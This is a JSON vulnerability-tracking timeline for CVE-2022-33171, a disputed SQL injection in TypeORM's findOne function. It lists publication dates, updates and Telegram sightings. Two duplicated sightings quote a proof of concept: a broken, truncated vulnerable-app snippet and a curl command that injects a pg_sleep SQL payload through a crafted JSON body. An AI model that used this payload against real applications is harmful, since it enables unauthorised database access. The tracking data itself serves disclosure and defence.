{"metadata": {"vulnerability": "CVE-2022-33171", "count": 20, "kinds": {"milestone": 5, "sighting": 4, "kev": 0, "other": 11}}, "data": [{"timestamp": "2022-06-13T00:00:00Z", "date_only": false, "value": "2022-06-13T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2022-33171", "field": "cveMetadata.dateReserved"}, {"timestamp": "2022-07-04T15:51:49Z", "date_only": false, "value": "2022-07-04T15:51:49.000Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2022-33171", "field": "cveMetadata.datePublished"}, {"timestamp": "2022-07-04T16:15:00Z", "date_only": false, "value": "2022-07-04T16:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-FX4W-V43J-VC45", "record": "GHSA-FX4W-V43J-VC45", "field": "database_specific.nvd_published_at"}, {"timestamp": "2022-07-04T16:15:08.757Z", "date_only": false, "value": "2022-07-04T16:15:08.757", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-33171", "record": "FKIE_CVE-2022-33171", "field": "published"}, {"timestamp": "2022-07-04T16:15:08.757Z", "date_only": false, "value": "2022-07-04T16:15:08.757", "kind": "milestone", "label": "Published", "source": "gsd \u00b7 GSD-2022-33171", "record": "GSD-2022-33171", "field": "namespaces.nvd.nist.gov.cve.published"}, {"timestamp": "2022-07-04T20:12:37Z", "date_only": false, "value": "2022-07-04T20:12:37.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/45571", "record": "CVE-2022-33171", "field": "creation_timestamp", "uuid": "a0741f80-ca16-4c39-9e24-844e7c2091c7", "content": "\u203c CVE-2022-33171 \u203c\n\n** DISPUTED ** The findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection. NOTE: the vendor's position is that the user's application is responsible for input validation.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/45571"}, {"timestamp": "2022-07-05T00:00:54Z", "date_only": false, "value": "2022-07-05T00:00:54Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-FX4W-V43J-VC45", "record": "GHSA-FX4W-V43J-VC45", "field": "published"}, {"timestamp": "2022-08-16T17:06:17Z", "date_only": false, "value": "2022-08-16T17:06:17.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / mitre", "record": "CVE-2022-33171", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2023-12-13T01:19:23.655Z", "date_only": false, "value": "2023-12-13T01:19:23.655687Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-33171", "record": "GSD-2022-33171", "field": "gsd.osvSchema.modified"}, {"timestamp": "2024-03-21T18:57:32Z", "date_only": false, "value": "2024-03-21T18:57:32Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-FX4W-V43J-VC45", "record": "GHSA-FX4W-V43J-VC45", "field": "modified"}, {"timestamp": "2024-04-11T01:15:49.580Z", "date_only": false, "value": "2024-04-11T01:15:49.580", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2022-33171", "record": "GSD-2022-33171", "field": "namespaces.nvd.nist.gov.cve.lastModified"}, {"timestamp": "2024-06-10T18:07:13.061Z", "date_only": false, "value": "2024-06-10T18:07:13.061321Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-33171", "field": "containers.adp.0.metrics.0.other.content.timestamp"}, {"timestamp": "2024-06-10T18:07:13.061Z", "date_only": false, "value": "2024-06-10T18:07:13.061321Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-33171", "record": "FKIE_CVE-2022-33171", "field": "metrics.ssvcV203.0.ssvcData.timestamp"}, {"timestamp": "2024-06-10T18:08:18.036Z", "date_only": false, "value": "2024-06-10T18:08:18.036Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2022-33171", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-08-03T08:01:20.214Z", "date_only": false, "value": "2024-08-03T08:01:20.214Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2022-33171", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2024-08-03T08:01:20.214Z", "date_only": false, "value": "2024-08-03T08:01:20.214Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2022-33171", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-12-08T15:00:08Z", "date_only": false, "value": "2025-12-08T15:00:08.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/LcY7eBFwAwyzwe0Kauf_IGSBHQfjWzlBSbPNDVNgDN2U1XQ", "record": "CVE-2022-33171", "field": "creation_timestamp", "uuid": "421caf19-7a07-4ac0-8970-8ea051982807"}, {"timestamp": "2026-06-17T04:48:32.313Z", "date_only": false, "value": "2026-06-17T04:48:32.313", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2022-33171", "record": "FKIE_CVE-2022-33171", "field": "lastModified"}, {"timestamp": "2026-09-01T20:01:35.090Z", "date_only": false, "value": "2026-09-01T20:01:35.090716Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/59736", "record": "CVE-2022-33171", "field": "creation_timestamp", "uuid": "73081677-0dae-4185-9e89-e844ca8a1692", "content": "Exploit Collector\nTypeORM SQL Injection\n\nhttps://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png \nTypeORM versions prior to 0.3.0 suffer from a remote SQL injection vulnerability in the findOne function.\n\nSHA-256 | fd166627536e61322f676b3adf3875427b5eb32b7305d966ceefdc69b93b2f39\n\nDownload\ntypeorm CVE-2022-33171\n\nfindOne(id), findOneOrFail(id)\n\nThe findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection.\n\nThe issue was already fixed from version 0.3.0 onward when we encountered it.\n\nMaintainer does not consider this a vulnerability and stated the root cause is bad input validation.\n\nOn one hand input validation is definitely insufficient. On the other hand this is a function argument that is meant to be fed user input and as such one would think it safe to put user input there.\n\nVulnerable app:\n```\n\nimport {\nEntity,\nPrimaryGeneratedColumn,\nConnection,\nConnectionOptions,\nRepository,\ncreateConnection\n} from 'typeorm';\nimport * as express from 'express';\nimport {Application, Request, Response} from 'express';\n\nlet connection: Connection;\n\nasync function myListener(request: Request, response: Response) {\nif(!connection)\nconnection = await createConnection(connectionOpts);\nconst userRepo: Repository console.log('App started'));\n\n```\n\nExploit:\ncurl -v [http://host/findByIds](http://containerip:4444/findByIds)' -H 'Content-Type: application/json' --data '[{\"where\":\"1=1; SELECT pg_sleep(10) --\"}]'\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/59736"}, {"timestamp": "2026-09-05T16:00:05.016Z", "date_only": false, "value": "2026-09-05T16:00:05.016354Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/59736", "record": "CVE-2022-33171", "field": "creation_timestamp", "uuid": "8339f029-bff0-4640-9af6-9aedb0b373de", "content": "Exploit Collector\nTypeORM SQL Injection\n\nhttps://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png \nTypeORM versions prior to 0.3.0 suffer from a remote SQL injection vulnerability in the findOne function.\n\nSHA-256 | fd166627536e61322f676b3adf3875427b5eb32b7305d966ceefdc69b93b2f39\n\nDownload\ntypeorm CVE-2022-33171\n\nfindOne(id), findOneOrFail(id)\n\nThe findOne function in TypeORM before 0.3.0 can either be supplied with a string or a FindOneOptions object. When input to the function is a user-controlled parsed JSON object, supplying a crafted FindOneOptions instead of an id string leads to SQL injection.\n\nThe issue was already fixed from version 0.3.0 onward when we encountered it.\n\nMaintainer does not consider this a vulnerability and stated the root cause is bad input validation.\n\nOn one hand input validation is definitely insufficient. On the other hand this is a function argument that is meant to be fed user input and as such one would think it safe to put user input there.\n\nVulnerable app:\n```\n\nimport {\nEntity,\nPrimaryGeneratedColumn,\nConnection,\nConnectionOptions,\nRepository,\ncreateConnection\n} from 'typeorm';\nimport * as express from 'express';\nimport {Application, Request, Response} from 'express';\n\nlet connection: Connection;\n\nasync function myListener(request: Request, response: Response) {\nif(!connection)\nconnection = await createConnection(connectionOpts);\nconst userRepo: Repository console.log('App started'));\n\n```\n\nExploit:\ncurl -v [http://host/findByIds](http://containerip:4444/findByIds)' -H 'Content-Type: application/json' --data '[{\"where\":\"1=1; SELECT pg_sleep(10) --\"}]'\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/59736"}]}
